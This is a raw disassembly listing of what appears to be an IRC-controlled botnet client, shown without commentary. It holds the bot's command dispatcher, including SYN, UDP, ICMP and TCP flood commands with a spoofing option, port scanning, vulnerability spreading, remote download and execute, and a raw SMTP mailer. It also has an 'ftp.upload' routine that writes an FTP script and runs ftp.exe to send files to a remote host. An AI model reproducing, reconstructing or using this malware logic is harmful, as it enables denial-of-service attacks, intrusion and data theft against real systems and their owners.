pop ecx
jnz short loc_40AB18
push dword ptr [ebp+8]
push 6
jmp loc_40AA82
; ---------------------------------------------------------------------------
loc_40AB18: ; CODE XREF: seg000:0040AB0Cj
push edi
push offset aDelete ; "delete"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40AB33
push dword ptr [ebp+8]
push 1
jmp loc_40AA82
; ---------------------------------------------------------------------------
loc_40AB33: ; CODE XREF: seg000:0040AB27j
push edi
push offset aShare ; "share"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40ABB0
cmp [ebp+20h], ebx
jz short loc_40AB83
cmp [ebp-9B0h], bl
jz short loc_40AB59
push ebx
push dword ptr [ebp+20h]
push 1
jmp short loc_40AB64
; ---------------------------------------------------------------------------
loc_40AB59: ; CODE XREF: seg000:0040AB4Fj
push dword ptr [ebp+esi-94h]
push dword ptr [ebp+20h]
push ebx
loc_40AB64: ; CODE XREF: seg000:0040AB57j
call sub_40E7E6
push eax
lea eax, [ebp-2E4h]
push offset aS_1 ; "%s"
push eax
call sub_41050B
add esp, 18h
jmp loc_40D0B5
; ---------------------------------------------------------------------------
loc_40AB83: ; CODE XREF: seg000:0040AB47j
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E9DB
add esp, 10h
test eax, eax
jz short loc_40ABA6
push offset dword_42C238
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40ABA6: ; CODE XREF: seg000:0040AB9Aj
push offset dword_42C204
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40ABB0: ; CODE XREF: seg000:0040AB42j
push edi
push offset aUser ; "user"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_40AC52
mov eax, [ebp+20h]
cmp eax, ebx
jz short loc_40AC25
cmp [ebp-9B0h], bl
jz short loc_40ABE6
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
push ebx
push eax
push 1
jmp short loc_40AC06
; ---------------------------------------------------------------------------
loc_40ABE6: ; CODE XREF: seg000:0040ABD2j
push dword ptr [ebp-4]
mov esi, [ebp+esi-94h]
cmp esi, ebx
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
jz short loc_40AC02
push esi
push eax
push ebx
jmp short loc_40AC06
; ---------------------------------------------------------------------------
loc_40AC02: ; CODE XREF: seg000:0040ABFBj
push ebx
push eax
push 2
loc_40AC06: ; CODE XREF: seg000:0040ABE4j
; seg000:0040AC00j
call sub_40EAFC
push eax
lea eax, [ebp-2E4h]
push offset aS_1 ; "%s"
push eax
call sub_41050B
add esp, 24h
jmp loc_40D0B5
; ---------------------------------------------------------------------------
loc_40AC25: ; CODE XREF: seg000:0040ABCAj
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40F010
add esp, 10h
test eax, eax
jz short loc_40AC48
push offset dword_42C1C8
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40AC48: ; CODE XREF: seg000:0040AC3Cj
push offset dword_42C198
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40AC52: ; CODE XREF: seg000:0040ABBFj
push edi
push offset aSend ; "send"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40ACA0
cmp [ebp+20h], ebx
jz short loc_40AC96
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40F2C4
push eax
lea eax, [ebp-2E4h]
push offset aS_1 ; "%s"
push eax
call sub_41050B
add esp, 1Ch
jmp loc_40D0B5
; ---------------------------------------------------------------------------
loc_40AC96: ; CODE XREF: seg000:0040AC66j
push offset dword_42C164
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40ACA0: ; CODE XREF: seg000:0040AC61j
push offset dword_42C134
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40ACAA: ; CODE XREF: seg000:0040AA1Fj
push dword ptr [ebp+18h]
push offset aEnz_gethost ; "enz.gethost"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CDC1
push dword ptr [ebp+18h]
push offset aEnz_gh ; "enz.gh"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CDC1
mov eax, [ebp+esi-98h]
cmp eax, ebx
mov [ebp+20h], eax
jz loc_40980B
push dword ptr [ebp+18h]
push offset aEnz_addalias ; "enz.addalias"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CD82
push dword ptr [ebp+18h]
push offset aEnz_aa ; "enz.aa"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CD82
push dword ptr [ebp+18h]
push offset aEnz_privmsg ; "enz.privmsg"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CD2C
push dword ptr [ebp+18h]
push offset aEnz_pm ; "enz.pm"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CD2C
push dword ptr [ebp+18h]
push offset aEnz_action ; "enz.action"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CCBE
push dword ptr [ebp+18h]
push offset aEnz_ac ; "enz.ac"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CCBE
push dword ptr [ebp+18h]
push offset aEnz_cycle ; "enz.cycle"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CC58
push dword ptr [ebp+18h]
push offset aEnz_cy ; "enz.cy"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CC58
push dword ptr [ebp+18h]
push offset aEnz_mode ; "enz.mode"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CC21
push dword ptr [ebp+18h]
push offset aEnz_m ; "enz.m"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CC21
push dword ptr [ebp+18h]
push offset aClone_raw ; "clone.raw"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CBB6
push dword ptr [ebp+18h]
push offset aClone_ra ; "clone.ra"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CBB6
push dword ptr [ebp+18h]
push offset aClone_mode ; "clone.mode"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CB34
push dword ptr [ebp+18h]
push offset aClone_m ; "clone.m"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CB34
push dword ptr [ebp+18h]
push offset aClone_nick ; "clone.nick"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CAC6
push dword ptr [ebp+18h]
push offset aClone_ni ; "clone.ni"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CAC6
push dword ptr [ebp+18h]
push offset aClone_join ; "clone.join"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CAA0
push dword ptr [ebp+18h]
push offset aClone_j ; "clone.j"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CAA0
push dword ptr [ebp+18h]
push offset aClone_part ; "clone.part"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CA40
push dword ptr [ebp+18h]
push offset aClone_p ; "clone.p"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CA40
push dword ptr [ebp+18h]
push offset aEnz_repeat ; "enz.repeat"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C97A
push dword ptr [ebp+18h]
push offset aEnz_rp ; "enz.rp"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C97A
push dword ptr [ebp+18h]
push offset aEnz_delay ; "enz.delay"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C8DF
push dword ptr [ebp+18h]
push offset aEnz_de ; "enz.de"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C8DF
push dword ptr [ebp+18h]
push offset aDownload_up010 ; "download.up010"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C727
push dword ptr [ebp+18h]
push offset aDownload_010 ; "download.010"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C727
push dword ptr [ebp+18h]
push offset aBox_execute ; "box.execute"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C694
push dword ptr [ebp+18h]
push offset aBox_e ; "box.e"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C694
push dword ptr [ebp+18h]
push offset aBox_rename ; "box.rename"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C610
push dword ptr [ebp+18h]
push offset aBox_mv ; "box.mv"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C610
push dword ptr [ebp+18h]
push offset aDdos_icmp ; "ddos.icmp"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C515
push dword ptr [ebp+18h]
push offset aDdos_ic ; "ddos.ic"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C515
mov eax, [ebp+esi-94h]
cmp eax, ebx
mov [ebp+8], eax
jz loc_40980B
push dword ptr [ebp+18h]
push offset aClone_make ; "clone.make"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C42A
push dword ptr [ebp+18h]
push offset aClone_start ; "clone.start"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C42A
push dword ptr [ebp+18h]
push offset aDs_sy1 ; "ds.sy1"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C325
push dword ptr [ebp+18h]
push offset aDs_ack ; "ds.ack"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C325
push dword ptr [ebp+18h]
push offset aDs_rm ; "ds.rm"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C325
push dword ptr [ebp+18h]
push offset aDdos_synflood ; "ddos.synflood"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C227
push dword ptr [ebp+18h]
push offset aSy1 ; "sy1"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C227
push dword ptr [ebp+18h]
push offset aDonad_frwww ; "donad.frwww"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C0E6
push dword ptr [ebp+18h]
push offset aD1 ; "d1"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C0E6
push dword ptr [ebp+18h]
push offset aServer_redir_0 ; "server.redirect.on"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40BFEC
push dword ptr [ebp+18h]
push offset aServer_rd_on ; "server.rd.on"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40BFEC
push dword ptr [ebp+18h]
push offset aEnz_portscan ; "enz.portscan"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40BEF9
push dword ptr [ebp+18h]
push offset aEnz_ps ; "enz.ps"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40BEF9
push dword ptr [ebp+18h]
push offset aClone_privmsg ; "clone.privmsg"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40BE24
push dword ptr [ebp+18h]
push offset aClone_pm ; "clone.pm"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40BE24
push dword ptr [ebp+18h]
push offset aClone_action ; "clone.action"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40BD12
push dword ptr [ebp+18h]
push offset aClone_ac ; "clone.ac"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40BD12
mov eax, [ebp+esi-90h]
cmp eax, ebx
mov [ebp+10h], eax
jz loc_40980B
push dword ptr [ebp+18h]
push offset aVuln_start ; "vuln.start"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B9B8
push dword ptr [ebp+18h]
push offset aVvv ; "vvv"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B9B8
push dword ptr [ebp+18h]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B895
push dword ptr [ebp+18h]
push offset aDdos_udpf ; "ddos.udpf"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B895
push dword ptr [ebp+18h]
push offset aPu ; "pu"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B895
push dword ptr [ebp+18h]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B762
push dword ptr [ebp+18h]
push offset aDdos_pingf ; "ddos.pingf"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B762
push dword ptr [ebp+18h]
push offset aPg ; "pg"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B762
push dword ptr [ebp+18h]
push offset aDdos_tcpflood ; "ddos.tcpflood"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B5CF
push dword ptr [ebp+18h]
push offset aUsa ; "usa"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B5CF
push dword ptr [ebp+18h]
push offset aUtil_email ; "util.email"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_40B3CA
lea eax, [ebp-3E4h]
push edi
push eax
call sub_411B70
push dword ptr [ebp+20h]
call sub_410A7F
push dword ptr [ebp+8]
mov [ebp+20h], eax
lea eax, [ebp-0D9Ch]
push eax
call sub_411B70
push dword ptr [ebp+10h]
lea eax, [ebp-0B94h]
push eax
call sub_411B70
push offset asc_41F6B0 ; " "
push offset a_ ; "_"
push dword ptr [ebp+esi-8Ch]
call sub_406C6E
push eax
lea eax, [ebp-564h]
push eax
call sub_411B70
add esp, 30h
lea eax, [ebp-6F4h]
push eax
push 101h
call ds:dword_430718 ; WSAStartup
lea eax, [ebp-3E4h]
push eax
call ds:dword_430814 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call ds:dword_430810 ; socket
push dword ptr [ebp+20h]
mov esi, eax
mov word ptr [ebp-0D8h], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp-0D4h], eax
call ds:dword_430794 ; ntohs
mov [ebp-0D6h], ax
lea eax, [ebp-564h]
push eax
lea eax, [ebp-0D9Ch]
push eax
lea eax, [ebp-564h]
push eax
lea eax, [ebp-0B94h]
push eax
lea eax, [ebp-0D9Ch]
push eax
lea eax, [ebp-159Ch]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41050B
add esp, 1Ch
lea eax, [ebp-0D8h]
push 10h
push eax
push esi
call ds:dword_430740 ; connect
mov edi, 100h
push ebx
lea eax, [ebp-0C98h]
push edi
push eax
push esi
call ds:dword_4307AC ; recv
lea eax, [ebp-0C98h]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp-159Ch]
push eax
push esi
call ds:dword_4307E0 ; send
push ebx
lea eax, [ebp-0C98h]
push edi
push eax
push esi
call ds:dword_4307AC ; recv
push esi
call ds:dword_430828 ; closesocket
call ds:dword_430700 ; WSACleanup
lea eax, [ebp-0B94h]
push eax
push offset unk_42BE00
jmp loc_40CF25
; ---------------------------------------------------------------------------
loc_40B3CA: ; CODE XREF: seg000:0040B26Cj
push dword ptr [ebp+18h]
push offset aUtil_httpcon ; "util.httpcon"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B59E
push dword ptr [ebp+18h]
push offset aUtil_hcon ; "util.hcon"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40B59E
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz loc_40980B
push dword ptr [ebp+18h]
push offset aFtp_upload ; "ftp.upload"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_40E148
push 4
push esi
call sub_408661
pop ecx
test eax, eax
pop ecx
jnz short loc_40B473
push esi
push offset dword_42BDA4
loc_40B432: ; CODE XREF: seg000:0040B753j
; seg000:0040BD0Dj ...
lea eax, [ebp-2E4h]
push eax
call sub_41050B
add esp, 0Ch
loc_40B441: ; CODE XREF: seg000:0040B737j
; seg000:0040BCF1j ...
cmp [ebp-8], ebx
jnz short loc_40B462
push ebx
push dword ptr [ebp-4]
loc_40B44A: ; CODE XREF: seg000:0040C320j
lea eax, [ebp-2E4h]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
loc_40B45A: ; CODE XREF: seg000:0040D972j
call sub_40E367
add esp, 14h
loc_40B462: ; CODE XREF: seg000:0040B444j
; seg000:0040B886j ...
lea eax, [ebp-2E4h]
push eax
call sub_407E0E
jmp loc_40E2D5
; ---------------------------------------------------------------------------
loc_40B473: ; CODE XREF: seg000:0040B42Aj
call ds:dword_41C04C ; GetTickCount
push eax
call sub_41055D
pop ecx
call sub_410567
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_410567
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_410567
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp-0C9Ch]
push edx
push eax
lea eax, [ebp-0B98h]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41050B
lea eax, [ebp-0B98h]
push offset aAb ; "ab"
push eax
call sub_411B4E
add esp, 20h
cmp eax, ebx
mov [ebp+2Ch], eax
jz loc_40980B
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41271D
push dword ptr [ebp+2Ch]
call sub_4119F0
lea eax, [ebp-0B98h]
push eax
lea eax, [ebp-3E4h]
push offset aSS_3 ; "-s:%s"
push eax
call sub_41050B
add esp, 2Ch
lea eax, [ebp-3E4h]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call ds:dword_430714 ; ShellExecuteA
test eax, eax
push edi
push esi
jz short loc_40B53D
push offset dword_42BD24
jmp short loc_40B542
; ---------------------------------------------------------------------------
loc_40B53D: ; CODE XREF: seg000:0040B534j
push offset dword_42BCE4
loc_40B542: ; CODE XREF: seg000:0040B53Bj
call sub_41050B
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_40B56B
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
loc_40B56B: ; CODE XREF: seg000:0040B54Dj
lea eax, [ebp-2E4h]
push eax
call sub_407E0E
loc_40B577: ; CODE XREF: seg000:0040B59Cj
lea eax, [ebp-0B98h]
push 4
push eax
call sub_408661
add esp, 0Ch
test eax, eax
jz loc_40980B
lea eax, [ebp-0B98h]
push eax
call sub_4126F3
jmp short loc_40B577
; ---------------------------------------------------------------------------
loc_40B59E: ; CODE XREF: seg000:0040B3DBj
; seg000:0040B3F2j
push dword ptr [ebp+esi-8Ch]
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
call sub_410A7F
pop ecx
push eax
push edi
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_4048A1
jmp loc_40E145
; ---------------------------------------------------------------------------
loc_40B5CF: ; CODE XREF: seg000:0040B23Ej
; seg000:0040B255j
mov esi, 80h
push edi
lea eax, [ebp-680h]
push esi
push eax
call sub_410A8A
lea eax, [ebp-680h]
push eax
push offset aSyn ; "syn"
call sub_410930
add esp, 14h
test eax, eax
jz short loc_40B632
lea eax, [ebp-680h]
push eax
push offset aAck ; "ack"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_40B632
lea eax, [ebp-680h]
push eax
push offset aRandom ; "random"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_40B632
push offset dword_42BCA8
jmp loc_40D67E
; ---------------------------------------------------------------------------
loc_40B632: ; CODE XREF: seg000:0040B5F8j
; seg000:0040B60Fj ...
push dword ptr [ebp+10h]
call sub_410A7F
cmp eax, ebx
pop ecx
mov [ebp-578h], eax
jle loc_40B758
push edi
lea eax, [ebp-680h]
push esi
push eax
call sub_410A8A
push dword ptr [ebp+20h]
lea eax, [ebp-700h]
push esi
push eax
call sub_410A8A
push dword ptr [ebp+8]
call sub_410A7F
mov [ebp-57Ch], eax
xor eax, eax
cmp [ebp-9A2h], bl
push dword ptr [ebp-98h]
setnz al
mov [ebp-574h], eax
mov eax, [ebp+0Ch]
mov [ebp-704h], eax
lea eax, [ebp-600h]
push esi
push eax
call sub_410A8A
mov eax, [ebp-4]
add esp, 28h
cmp [ebp-574h], ebx
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_40B6C9
mov eax, offset aNormal ; "Normal"
loc_40B6C9: ; CODE XREF: seg000:0040B6C2j
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
push edi
push eax
push offset dword_42BC50
lea eax, [ebp-2E4h]
push 200h
push eax
call sub_410A8A
push ebx
lea eax, [ebp-2E4h]
push 0Ch
push eax
call sub_40FFB7
add esp, 2Ch
mov [ebp-580h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-704h]
push ebx
push eax
push offset loc_401BD6
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-580h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40B747
loc_40B731: ; CODE XREF: seg000:0040B745j
cmp [ebp-568h], ebx
jnz loc_40B441
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40B731
; ---------------------------------------------------------------------------
loc_40B747: ; CODE XREF: seg000:0040B72Fj
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset dword_42BC04
jmp loc_40B432
; ---------------------------------------------------------------------------
loc_40B758: ; CODE XREF: seg000:0040B643j
push offset dword_42BBB8
jmp loc_40D67E
; ---------------------------------------------------------------------------
loc_40B762: ; CODE XREF: seg000:0040B1F9j
; seg000:0040B210j ...
cmp ds:dword_430880, ebx
mov esi, [ebp+0Ch]
jnz loc_40B86A
mov eax, [ebp-8]
push 7Fh
mov [ebp-2ECh], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
lea eax, [ebp-384h]
push edi
push eax
call sub_411D00
push dword ptr [ebp+20h]
call sub_410A7F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_410A7F
push dword ptr [ebp+10h]
mov [ebp-300h], eax
call sub_410A7F
push 7Fh
mov [ebp-2FCh], eax
push dword ptr [ebp-98h]
lea eax, [ebp-404h]
push eax
call sub_411D00
push dword ptr [ebp-2FCh]
lea eax, [ebp-384h]
mov [ebp-408h], esi
push dword ptr [ebp-300h]
push eax
lea eax, [ebp-2E4h]
push dword ptr [ebp-304h]
push offset unk_42BB5C
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 0Eh
push eax
call sub_40FFB7
add esp, 48h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-408h]
push ebx
push eax
push offset loc_4074DB
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40B859
loc_40B847: ; CODE XREF: seg000:0040B857j
cmp [ebp-2E8h], ebx
jnz short loc_40B883
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40B847
; ---------------------------------------------------------------------------
loc_40B859: ; CODE XREF: seg000:0040B845j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_42BB10
jmp loc_40C419
; ---------------------------------------------------------------------------
loc_40B86A: ; CODE XREF: seg000:0040B76Bj
push 1FFh
lea eax, [ebp-2E4h]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_411D00
loc_40B880: ; CODE XREF: seg000:0040C425j
add esp, 0Ch
loc_40B883: ; CODE XREF: seg000:0040B84Dj
; seg000:0040B997j ...
cmp [ebp-8], ebx
jnz loc_40B462
push ebx
push dword ptr [ebp-4]
jmp loc_40D964
; ---------------------------------------------------------------------------
loc_40B895: ; CODE XREF: seg000:0040B1B4j
; seg000:0040B1CBj ...
mov eax, [ebp-8]
push 7Fh
mov [ebp-2ECh], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
lea eax, [ebp-384h]
push edi
push eax
call sub_411D00
push dword ptr [ebp+20h]
call sub_410A7F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_410A7F
push dword ptr [ebp+10h]
mov [ebp-300h], eax
call sub_410A7F
mov esi, [ebp+esi-8Ch]
add esp, 18h
cmp esi, ebx
mov [ebp-2FCh], eax
jz short loc_40B8FD
push esi
call sub_410A7F
pop ecx
mov [ebp-2F8h], eax
jmp short loc_40B903
; ---------------------------------------------------------------------------
loc_40B8FD: ; CODE XREF: seg000:0040B8ECj
mov [ebp-2F8h], ebx
loc_40B903: ; CODE XREF: seg000:0040B8FBj
push 7Fh
lea eax, [ebp-404h]
push dword ptr [ebp-98h]
push eax
call sub_411D00
push dword ptr [ebp-2FCh]
mov esi, [ebp+0Ch]
lea eax, [ebp-384h]
mov [ebp-408h], esi
push dword ptr [ebp-300h]
push eax
lea eax, [ebp-2E4h]
push dword ptr [ebp-304h]
push offset dword_42BA9C
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 0Fh
push eax
call sub_40FFB7
add esp, 30h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-408h]
push ebx
push eax
push offset loc_407667
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40B9A7
loc_40B991: ; CODE XREF: seg000:0040B9A5j
cmp [ebp-2E8h], ebx
jnz loc_40B883
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40B991
; ---------------------------------------------------------------------------
loc_40B9A7: ; CODE XREF: seg000:0040B98Fj
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset dword_42BA50
jmp loc_40C419
; ---------------------------------------------------------------------------
loc_40B9B8: ; CODE XREF: seg000:0040B186j
; seg000:0040B19Dj
push 8
call sub_4101FF
push dword ptr [ebp+20h]
mov [ebp+18h], eax
call sub_410A7F
add eax, [ebp+18h]
pop ecx
pop ecx
cmp eax, 12Ch
jle short loc_40BA08
push dword ptr [ebp+18h]
lea eax, [ebp-2E4h]
push offset dword_42B9FC
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
jmp loc_40CD7A
; ---------------------------------------------------------------------------
loc_40BA08: ; CODE XREF: seg000:0040B9D4j
push edi
call sub_410A7F
push dword ptr [ebp+20h]
mov [ebp-31Ch], eax
call sub_410A7F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_410A7F
add esp, 0Ch
cmp eax, 1
mov [ebp-318h], eax
jnb short loc_40BA41
push 1
pop eax
mov [ebp-318h], eax
loc_40BA41: ; CODE XREF: seg000:0040BA36j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40BA4E
mov [ebp-318h], ecx
loc_40BA4E: ; CODE XREF: seg000:0040BA46j
push dword ptr [ebp+10h]
call sub_410A7F
cmp eax, 1F4h
pop ecx
mov [ebp-314h], eax
jbe short loc_40BA6E
mov dword ptr [ebp-314h], 1F4h
loc_40BA6E: ; CODE XREF: seg000:0040BA62j
or dword ptr [ebp-300h], 0FFFFFFFFh
cmp ds:dword_41FFE8, ebx
mov [ebp+10h], ebx
jz short loc_40BAC4
mov dword ptr [ebp+2Ch], offset dword_41FFE8
loc_40BA87: ; CODE XREF: seg000:0040BAA6j
mov eax, [ebp+2Ch]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_40BAAA
add dword ptr [ebp+2Ch], 3Ch
inc dword ptr [ebp+10h]
mov eax, [ebp+2Ch]
cmp [eax], ebx
jnz short loc_40BA87
jmp short loc_40BAC4
; ---------------------------------------------------------------------------
loc_40BAAA: ; CODE XREF: seg000:0040BA98j
mov eax, [ebp+10h]
mov ecx, eax
mov [ebp-300h], eax
imul ecx, 3Ch
mov ecx, ds:dword_41FFE8[ecx]
mov [ebp-31Ch], ecx
loc_40BAC4: ; CODE XREF: seg000:0040BA7Ej
; seg000:0040BAA8j
cmp [ebp-31Ch], ebx
jz loc_40D679
mov edi, [ebp+esi-8Ch]
cmp edi, ebx
mov [ebp+20h], edi
jz short loc_40BB0E
cmp byte ptr [edi], 23h
jz short loc_40BB0E
push edi
lea eax, [ebp-430h]
push 10h
push eax
call sub_410A8A
push 78h
push edi
call sub_412760
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp-2F0h], eax
jmp loc_40BBE2
; ---------------------------------------------------------------------------
loc_40BB0E: ; CODE XREF: seg000:0040BADCj
; seg000:0040BAE1j
cmp [ebp-9B3h], bl
jnz short loc_40BB30
cmp [ebp-9B2h], bl
jnz short loc_40BB30
cmp [ebp-9A2h], bl
jnz short loc_40BB30
push offset dword_42B9B0
jmp loc_40D67E
; ---------------------------------------------------------------------------
loc_40BB30: ; CODE XREF: seg000:0040BB14j
; seg000:0040BB1Cj ...
push 10h
lea eax, [ebp+8]
pop edi
push eax
lea eax, [ebp-0D8h]
push eax
mov [ebp+8], edi
push dword ptr [ebp+0Ch]
call ds:dword_43073C ; getsockname
mov al, [ebp-9B3h]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-0D4h], eax
push dword ptr [ebp-0D4h]
call ds:dword_43081C ; inet_ntoa
push eax
lea eax, [ebp-430h]
push eax
call sub_411D00
add esp, 0Ch
cmp [ebp-9A2h], bl
